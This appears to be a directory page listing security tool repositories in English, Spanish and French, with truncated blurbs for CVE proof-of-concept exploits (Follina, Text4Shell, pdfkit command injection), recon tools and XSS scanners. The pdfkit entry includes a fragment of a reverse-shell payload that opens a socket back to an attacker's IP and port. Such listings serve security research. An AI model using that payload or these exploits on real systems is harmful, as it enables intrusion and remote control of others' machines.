Deathnote

Deathnote Proof of Concept of CVE-2022-30190 A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling...

CVE-2022-42889-POC

CVE-2022-42889-POC A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability. Utilizes OOB Out of Band services to demonstrate dns and url prefixes. JavaDocs for commons-text interpolation commons-text JavaDocs Example interpolations script:javascript...

gau

getallurls gau getallurls gau fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, Common Crawl, and URLScan for any given domain. Inspired by Tomnomnom's waybackurls. Resources Usage Installation ohmyzsh note Usage: Examples: $ printf example.com | gau $ cat domains.tx...

gau

getallurls gau getallurls gau obtiene URLs conocidas de AlienVault's Open Threat Exchange, Wayback Machine, Common Crawl y URLScan para cualquier dominio dado. Inspirado en waybackurls de Tomnomnom. Recursos Uso Instalación Nota sobre ohmyzsh Uso: Ejemplos: $ printf example.com | gau $ cat...

xepor

Xepor Xepor pronounced /ˈzɛfə/ , zephyr is a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP requests and/or HTTP responses in a human-friendly coding style. This project is meant to be used with mitmproxy...

CVE-2022-1592

CVE-2022-1592 POC pip install requests --break-system-packages CVE-2022-1592.py https://tatget.com/...

detectXSSlib

detectXSSlib Project folders: detectxsslib - main library see ReadMe.txt for more information modules - server modules using detectxsslib test - sets of URLs used for verification of the library tools - command line tools using detectxsslib See license.txt for licensing details...

dalfox

Dalfox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities. Key features Subcommands...

Zeus-Scanner

Annuaire des liens utiles Qu'estce que Zeus Les caractéristiques de Zeus Exigences et installation Ubuntu/Debian centOS autre Capturesécran vidéo Demo manuel d'utilisation Comment fonctionne Zeus Fonctionnalité Passant drapeaux sqlmap avec Zeus Informations légales Licence GPL Code de conduite...

Zeus-Scanner

Directorio de enlaces útiles Qué es Zeus Funciones de Zeus Requisitos e instalación Ubuntu/Debian centOS otro Capturas de pantalla Video de demostración Manual de usuario Cómo funciona Zeus Funcionalidad Pasando banderas sqlmap con Zeus Información legal Licencia GPL Código de conducta Informar d...

ocr-recon

ocr-recon Esta herramienta es útil para encontrar una cadena específica en una lista de URLs utilizando las capacidades de OCR Reconocimiento Óptico de Caracteres de Tesseract. Uso Uso: python3 ocr-recon.py listwithURLs stringtosearch...

ocr-recon

ocr-recon This tool is useful to find a particular string in a list of URLs using tesseract's OCR Optical Character Recognition capabilities Usage Usage: python3 ocr-recon.py listwithURLs stringtosearch...

Instagram-Notes-Audio-Leakage-via-URL-Extraction-Fixed

🎙️ Instagram Notes Audio Leakage via URL Extraction Fixed & Rewarded 🛡️ Vulnerability Summary In 05/2025, I discovered a vulnerability in Instagram Web that allowed any user to extract the original video file from a Note and access the background audio , which was not meant to be publicly...

CVE-2022-30190

CVE 30190 Amine TITROFINE | December 17, 2022 Follina CVE-2022-30190 is a Microsoft Office zero-day vulnerability that has recently been discovered. It’s a high-severity vulnerability that hackers can leverage for remote code execution RCE attacks. It exists when MSDT is called using the URL...

nmap

Nmap Nmap is released under a custom license, which is based on but not compatible with GPLv2. The Nmap license allows free usage by end users, and we also offer a commercial license for companies that wish to redistribute Nmap technology with their products. See Nmap Copyright and Licensing for...

fuzzuli

fuzzuli Motivation • Background • Installation • Usage • Running fuzzuli • Tool Page fuzzuli is a url fuzzing tool that aims to find critical backup files by creating a dynamic wordlist based on the domain. Motivation In my application security testing journey that i have been doing for years, i...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modify bold values: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CanaryTokenScanner

Escáner de CanaryToken / HoneyToken Detecta URLs sospechosas incluyendo CanaryTokens dentro de documentos de Microsoft Office y PDFs. Formatos compatibles: Office Open XML: .docx, .xlsx, .pptx .pdf .zip archivos genéricos Por qué existe esto Los CanaryTokens y HoneyTokens y otras URLs de...

mitaka

Mitaka Mitaka is a browser extension that makes your OSINT Open Source Intelligence search & scan easier. Key features: Auto IoC indicators of compromise selection with refanging. E.g. example.com to example.com, testatexample.com to [email protected], hxxp://example.com to http://example.co...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...